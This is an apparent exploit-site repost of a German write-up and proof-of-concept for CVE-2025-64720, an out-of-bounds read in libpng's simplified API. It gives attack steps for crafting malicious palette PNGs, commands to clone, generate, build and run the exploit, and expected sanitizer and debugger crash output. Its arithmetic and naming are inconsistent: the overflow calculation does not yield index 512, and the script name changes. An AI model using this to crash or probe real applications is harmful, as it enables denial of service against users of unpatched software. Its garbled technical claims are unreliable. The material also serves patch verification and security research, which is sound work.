## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DANTSCO-CVE-2025-64720-POC
# CVE-2025-64720: Pufferüberlauf in libpng bei der Paletten-Premultiplikation

> **Status** : Behoben  
>  **Schweregrad** : Hoch  
>  **CVE-ID** : CVE-2025-64720  
>  **Entdeckungsdatum** : 2025-11-XX  
>  **Öffentliche Offenlegung** : 2025-11-21

## Überblick

### Zusammenfassung

Eine Sicherheitslücke durch Lesen außerhalb der Grenzen (Out-of-Bounds-Read) existiert in libpngs `png_image_read_composite`-Funktion, wenn Palettenbilder mit aktiviertem `PNG_FLAG_OPTIMIZE_ALPHA` verarbeitet werden. Der Paletten-Compositing-Code in `png_init_read_transformations` wendet während der Premultiplikation fälschlicherweise Hintergrund-Compositing an und verletzt dabei die von der vereinfachten PNG-API geforderte Invariante `component ≤ alpha × 257`, was zu Speicherkorruption führt.

* * *

## Details zur Sicherheitslücke

### Grundursache

In `png_init_read_transformations` in Zeile ~1336 führt der Paletten-Expansionscode Folgendes aus:

root@kitploit:~
    
    
    component += (255-alpha)*png_sRGB_table[outrow[c]];
    

Diese Berechnung erzeugt `component`-Werte von bis zu 16.776.960 (0x1000800), wobei `(component >> 15) == 512` gilt. Das anschließende `PNG_sRGB_FROM_LINEAR`-Makro in `png_image_read_composite` führt einen Array-Zugriff außerhalb der Grenzen aus:

root@kitploit:~
    
    
    png_sRGB_base[component>>15]    // Accesses png_sRGB_base[512]
    png_sRGB_delta[component>>15]   // Accesses png_sRGB_delta[512]
    // Both arrays have indices 0-511 only (size 512)
    

Das Problem tritt auf, wenn:

  1. PNG den Palettenmodus (Farbtyp 3) mit Transparenz (tRNS-Chunk) verwendet
  2. Die Anwendung die vereinfachte API mit einem alphafähigen Format verwendet
  3. `PNG_FLAG_OPTIMIZE_ALPHA` intern aktiviert ist
  4. Die Palettenexpansion eine Premultiplikation mit Hintergrund-Compositing durchführt



### Verwundbare Komponente

  * **Datei** : `pngread.c`, `pngtrans.c`
  * **Funktionen** : `png_image_read_composite`, `png_init_read_transformations`
  * **Codepfad** : Vereinfachte API → Palettenexpansion mit Alpha-Optimierung



### Verletzung der Invariante

root@kitploit:~
    
    
    Expected: component ≤ alpha × 257
             Ensures (component >> 15) ≤ 511 (within array bounds)
    
    Actual:   component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
             With alpha=0, RGB=255: component can exceed expected bounds
             
    Result:   (component >> 15) can equal 512 (out of bounds access)
    

* * *

## Betroffene Versionen

### Verwundbare Versionen

  * **Software** : libpng
  * **Versionen** : Alle Versionen < 1.6.51
  * **Plattformen** : Linux, Windows, macOS, BSD usw.
  * **Architekturen** : x86, x64, ARM, ARM64 usw.



### Behobene Versionen

  * **Erste behobene Version** : 1.6.51
  * **Veröffentlichungsdatum** : 2025-11-21
  * **Patch-Commit** : 08da33b



### Versionserkennung

root@kitploit:~
    
    
    # Method 1: pkg-config
    pkg-config --modversion libpng
    
    # Method 2: Direct library query
    libpng-config --version
    
    # Method 3: Check binary
    strings /usr/lib/libpng*.so* | grep -i "libpng version"
    
    # Method 4: From source
    grep PNG_LIBPNG_VER_STRING png.h
    

* * *

## Technische Analyse

### Angriffsvektor

Ein Angreifer kann diese Sicherheitslücke ausnutzen, indem er eine bösartige PNG-Datei mit bestimmten Eigenschaften erstellt:

  1. **Angriffsvoraussetzungen** :

     * Die Zielanwendung verwendet libpng < 1.6.51
     * Die Anwendung verwendet die vereinfachte PNG-API (`png_image_*`-Funktionen)
     * Die Anwendung fordert ein alphafähiges Ausgabeformat an (z. B. RGBA, ARGB)
  2. **Angriffsschritte** :

     * Eine Paletten-PNG (Farbtyp 3) mit tRNS-Chunk erstellen
     * Paletteneinträge auf maximale RGB-Werte (255, 255, 255) setzen
     * Alpha-Werte für mehrere Paletteneinträge auf Null setzen
     * Die Opferanwendung verarbeitet die PNG mit Alpha-Format
     * `PNG_FLAG_OPTIMIZE_ALPHA` wird intern aktiviert
     * Die Palettenexpansion verletzt die Component-Invariante
     * Es kommt zu einem Array-Zugriff außerhalb der Grenzen
  3. **Angriffsergebnis** :

     * Out-of-Bounds-Read aus `png_sRGB_base` oder `png_sRGB_delta`
     * Speicherkorruption führt zu Heap-Use-after-Free
     * Absturz der Anwendung (Denial of Service)
     * Mögliche Offenlegung von Informationen durch OOB-Read



### Speicherlayout

root@kitploit:~
    
    
    ┌─────────────────┐
    │ png_sRGB_base   │  Array indices: 0-511 (512 entries)
    │ [512 entries]   │  Valid access: (component >> 15) ≤ 511
    ├─────────────────┤
    │ [OOB Access]    │  Index 512 ← Vulnerable access when component ≥ 0x1000000
    ├─────────────────┤
    │ png_sRGB_delta  │  Array indices: 0-511 (512 entries)
    │ [512 entries]   │  Also vulnerable to same OOB access
    ├─────────────────┤
    │ Adjacent Memory │  Potential information disclosure
    └─────────────────┘
    
    Calculation that causes overflow:
    component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
    
    When alpha=0 and palette_RGB=255:
    component = 0 + 255 × 65535 = 16,711,425
    (component >> 15) = 512 (OUT OF BOUNDS!)
    

### Auslösebedingungen

**Erforderliche Bedingungen:**

  * PNG-Farbtyp 3 (indiziert/Palette)
  * tRNS-Chunk vorhanden (Transparenz)
  * Alpha-Werte von 0 im tRNS-Chunk
  * Hohe RGB-Werte in der Palette (insbesondere 255, 255, 255)
  * Verwendung der vereinfachten API (`png_image_finish_read`)
  * Alphafähiges Format (PNG_FORMAT_ARGB, PNG_FORMAT_RGBA mit Flags)



**Optionale Faktoren:**

  * Format mit `PNG_FORMAT_FLAG_AFIRST` erhöht die Wahrscheinlichkeit eines Absturzes
  * Größere Bilder bieten mehr Gelegenheiten, den Fehler auszulösen
  * Mehrere Paletteneinträge mit Alpha Null erhöhen die Zuverlässigkeit



**Nicht-auslösende Bedingungen:**

  * libpng >= 1.6.51 (behoben)
  * PNG_FORMAT_RGBA ohne zusätzliche Flags (manchmal sicher)
  * Nicht-Paletten-Farbtypen (RGB, Graustufen usw.)
  * Palette ohne Transparenz
  * Alle Alpha-Werte = 255 (vollständig deckend)



* * *

## Proof of Concept

### Schnellstart

root@kitploit:~
    
    
    # Clone repository
    git clone https://github.com/truediogo/CVE-2025-64720
    cd CVE-2025-64720
    
    # Generate images
    python3 generate-images.py
    
    # Build test
    chmod +x build.sh
    ./build.sh
    
    # Run exploit (requires vulnerable libpng < 1.6.51)
    ./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
    

### PoC-Komponenten

#### 1\. Exploit-Generator (`generate-images.py`)

Erzeugt bösartige PNG-Dateien, die die Sicherheitslücke auslösen.

**Verwendung:**

root@kitploit:~
    
    
    python3 generate_poc.py
    

**Ausgabe:**

  * `exploit_v1.png` – 8x8-Bild, einheitliche weiße Palette, Alpha null
  * `exploit_v2.png` – 8x8-Bild, strategische Palettenvariation
  * `exploit_v3.png` – 64x64-Bild, groß mit wiederholten Mustern
  * `exploit_v4.png` – 4x4-Bild, Minimalfall mit durchgehend Alpha null



**Optionen:**

root@kitploit:~
    
    
    # Generate specific variant
    generate_malicious_png('custom.png', variant=2)
    
    # Variants:
    # 1: Maximum RGB values with zero alpha (reliable)
    # 2: Strategic palette designed for maximum overflow
    # 3: Larger image with repeated triggering patterns
    # 4: Minimal case targeting global-buffer-overflow
    

#### 2\. Test (`test.c`)

Verarbeitet PNG-Dateien mithilfe der vereinfachten API und demonstriert die Sicherheitslücke.

**Kompilierung:**

root@kitploit:~
    
    
    # With AddressSanitizer (recommended - best detection)
    gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
    
    # With UndefinedBehaviorSanitizer
    gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
    
    # With debugging symbols
    gcc -o test_debug test.c -lpng -g -O0
    
    # For Valgrind
    gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
    

**Funktionen:**

  * Testet mehrere alphafähige Formate (RGBA, ARGB, LINEAR_RGB_ALPHA)
  * Zeigt die libpng-Version und den Verwundbarkeitsstatus an
  * Zeigt die ersten Pixelwerte zur Verifizierung an
  * Umfassende Fehlerbehandlung



### Erwartete Ausgabe

**Auf verwundbarer Version (libpng 1.6.36):**

root@kitploit:~
    
    
    libpng version: 1.6.36
    PNG_LIBPNG_VER: 10636
    
    [!] libpng < 1.6.51 detected (vulnerable version)
    
    === Testing: exploit_v1.png ===
    File: exploit_v1.png
    Original format: 0xb
    Image: 8x8
    
    Trying format: PNG_FORMAT_RGBA (0x3)
    Buffer size: 256 bytes
    Calling png_image_finish_read...
    Success - read completed
    First pixel RGBA: ff ff ff 00
    
    Trying format: PNG_FORMAT_ARGB (0x23)
    Buffer size: 256 bytes
    Calling png_image_finish_read...
    =================================================================
    ==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
    READ of size 8 at 0x604000000520 thread T0
        #0 0x000102b4da24 in png_safe_execute pngerror.c:944
        #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
        #2 0x000102b34ecc in test_png test.c:64
        #3 0x000102b35410 in main test.c:97
    
    0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
    freed by thread T0 here:
        #0 0x000103245480 in free+0x7c
        #1 0x000102b566b4 in png_free_default pngmem.c:252
        [Stack trace continues...]
    
    SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
    ==12345==ABORTING
    

**Auf behobener Version (libpng >= 1.6.51):**

root@kitploit:~
    
    
    libpng version: 1.6.51
    PNG_LIBPNG_VER: 10651
    
    [!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
    
    === Testing: exploit_v1.png ===
    File: exploit_v1.png
    Original format: 0xb
    Image: 8x8
    
    Trying format: PNG_FORMAT_RGBA (0x3)
    Buffer size: 256 bytes
    Calling png_image_finish_read...
    Success - read completed
    First pixel RGBA: ff ff ff 00
    
    Trying format: PNG_FORMAT_ARGB (0x23)
    Buffer size: 256 bytes
    Calling png_image_finish_read...
    Success - read completed
    First pixel RGBA: ff ff ff 00
    
    === All tests completed ===
    

* * *

### Auswirkungen

#### Bestätigte Auswirkungen

  * **Denial of Service** : Zuverlässiger Absturz der Anwendung bei der Verarbeitung bösartiger PNG-Dateien
  * **Speicherkorruption** : Heap-Use-after-Free durch OOB-Read, der den internen Zustand beschädigt
  * **Offenlegung von Informationen** : Mögliches Auslesen benachbarter Speicherinhalte durch OOB-Read



#### Mögliche Auswirkungen

  * **Remote Code Execution** : Theoretisch möglich, wenn die Speicherkorruption kontrolliert werden kann, allerdings nicht demonstriert
  * **Browser-Ausnutzung** : Webbrowser, die eine verwundbare libpng verwenden, könnten beim Besuch bösartiger Websites abstürzen



### Schritt-für-Schritt-Reproduktion

#### Schritt 1: Exploit generieren

root@kitploit:~
    
    
    python3 generate_poc.py
    

Erwartete Ausgabe:

root@kitploit:~
    
    
    ======================================================================
    libpng Out-of-Bounds Read PoC Generator
    Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
    ======================================================================
    [+] Generated variant 1: exploit_v1.png
        Size: 434 bytes, Dimensions: 8x8
    [+] Generated variant 2: exploit_v2.png
        Size: 434 bytes, Dimensions: 8x8
    [+] Generated variant 3: exploit_v3.png
        Size: 2258 bytes, Dimensions: 64x64
    [+] Generated variant 4: exploit_v4.png
        Size: 356 bytes, Dimensions: 4x4
    
    [+] Enhanced test program: test.c
    [+] Build script: build.sh
    

#### Schritt 2: Test kompilieren

root@kitploit:~
    
    
    chmod +x build.sh
    ./build.sh
    

Erwartete Ausgabe:

root@kitploit:~
    
    
    [*] Building test...
    [*] Building with AddressSanitizer...
    [*] Building with UBSan...
    [*] Building debug version...
    [*] Building for Valgrind...
    
    [+] Build complete. Executables:
    -rwxr-xr-x  1 user  staff  95KB test_asan
    -rwxr-xr-x  1 user  staff  87KB test_ubsan
    -rwxr-xr-x  1 user  staff  72KB test_debug
    -rwxr-xr-x  1 user  staff  72KB test_valgrind
    

#### Schritt 3: Exploit ausführen

root@kitploit:~
    
    
    ./test_asan exploit_v1.png
    

**Erwartetes Ergebnis (verwundbar – libpng 1.6.36):**

root@kitploit:~
    
    
    libpng version: 1.6.36
    PNG_LIBPNG_VER: 10636
    
    [!] libpng < 1.6.51 detected (vulnerable version)
    
    === Testing: exploit_v1.png ===
    File: exploit_v1.png
    Original format: 0xb
    Image: 8x8
    
    Trying format: PNG_FORMAT_RGBA (0x3)
    Buffer size: 256 bytes
    Calling png_image_finish_read...
    Success - read completed
    First pixel RGBA: ff ff ff 00
    
    Trying format: PNG_FORMAT_ARGB (0x23)
    Buffer size: 256 bytes
    Calling png_image_finish_read...
    =================================================================
    ==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
    READ of size 8 at 0x604000000520 thread T0
        #0 png_safe_execute pngerror.c:944
        #1 png_image_finish_read pngread.c:4184
        #2 test_png test.c:64
        #3 main test.c:97
    
    SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
    ==6751==ABORTING
    

**Erwartetes Ergebnis (behoben – libpng >= 1.6.51):**

root@kitploit:~
    
    
    libpng version: 1.6.51
    PNG_LIBPNG_VER: 10651
    
    [!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
    
    === Testing: exploit_v1.png ===
    [All tests complete successfully without crashes]
    

### Alternative Testmethoden

#### Mit Valgrind

root@kitploit:~
    
    
    gcc -o test test.c -lpng -g -O0 -fno-inline
    valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
             ./test exploit_v1.png
    

Erwartete Ausgabe (verwundbar):

root@kitploit:~
    
    
    ==12345== Invalid read of size 8
    ==12345==    at 0x...: png_safe_execute (pngerror.c:944)
    ==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
    ==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd
    

#### Mit GDB

root@kitploit:~
    
    
    gdb ./test_debug
    (gdb) set args exploit_v1.png
    (gdb) run
    # Program will crash
    
    (gdb) bt
    # Shows backtrace with png_safe_execute at top
    
    (gdb) info registers
    (gdb) x/32wx $rsp
    # Examine memory state at crash
    
    

#### Mit LLDB (macOS M1-M4)

root@kitploit:~
    
    
    lldb ./test_debug
    (lldb) settings set target.run-args exploit_v1.png
    (lldb) run
    # Program will crash
    
    (lldb) bt
    # Shows backtrace
    
    (lldb) register read
    (lldb) memory read -c 32 -- $sp
    

## Referenzen

### Offizielle Quellen

  * **Herstellerhinweis** : http://www.libpng.org/pub/png/libpng.html
  * **CVE-Eintrag** : https://vulners.com/cve/CVE-2025-64720
  * **NVD-Eintrag** : https://nvd.nist.gov/vuln/detail/CVE-2025-64720
  * **libpng-Startseite** : http://www.libpng.org/pub/png/libpng.html



### Technische Details

  * **Fehlerbericht** : https://github.com/pnggroup/libpng/issues/686
  * **Patch-Commit** : https://github.com/pnggroup/libpng/commit/08da33b
  * **Pull-Request** : https://github.com/pnggroup/libpng/pull/751
  * **Versionshinweise** : https://github.com/pnggroup/libpng/blob/libpng16/CHANGES



### Verwandte Sicherheitslücken

  * **CVE-2025-64505** : Heap-Pufferüberlauf in png_do_quantize() durch fehlerhaften Palettenindex
  * **CVE-2025-64506** : Heap-Pufferüberlesen in png_write_image_8bit()
  * **CVE-2025-65018** : Heap-Pufferüberlauf in png_combine_row()
  * **CVE-2019-7317** : Use-after-Free in png_image_free() (libpng < 1.6.37)



## Danksagungen

### Entdeckung

  * **Samsung-PENTEST** – Sicherheitsforscher
  * **weijinjinnihao** – Sicherheitsforscher
  * **yosiimich** – Sicherheitsforscher



### Analyse & Behebung

  * **Fabio Gritti** (Artiphishell) – Triage und Analyse
  * **John Bowler** – libpng-Entwickler, Mitwirkender an der Fehlerbehebung
  * **Cosmin Truta** – libpng-Maintainer, Implementierung des Patches



### Tests

  * **truediogo** – Entwicklung und Validierung des PoC



* * *

## Rechtliche & ethische Hinweise

### Haftungsausschluss

⚠️ **WICHTIG** : Dieser PoC dient ausschließlich Bildungs- und Forschungszwecken.

  * Dieser Code ist bestimmt für:

    * Sicherheitsforschung
    * Bewertung der Sicherheitslücken von Systemen, die Ihnen gehören
    * Akademische Studien
    * Entwicklung von Verteidigungsmaßnahmen
    * Überprüfung von Patches
  * Dieser Code ist NICHT bestimmt für:

    * Unbefugten Zugriff auf Systeme
    * Böswillige Angriffe
    * Verursachen von Schaden oder Schädigung
    * Illegale Aktivitäten
    * Ausnutzung ohne Erlaubnis



**Durch die Verwendung dieses Codes stimmen Sie Folgendem zu:**

  1. Verwenden Sie ihn nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testberechtigung haben
  2. Halten Sie alle geltenden Gesetze und Vorschriften ein
  3. Übernehmen Sie die volle Verantwortung für Ihre Handlungen
  4. Machen Sie die Autoren nicht für Missbrauch haftbar
  5. Befolgen Sie Praktiken der verantwortungsvollen Offenlegung
Exploit Code

Share

Share on social media:
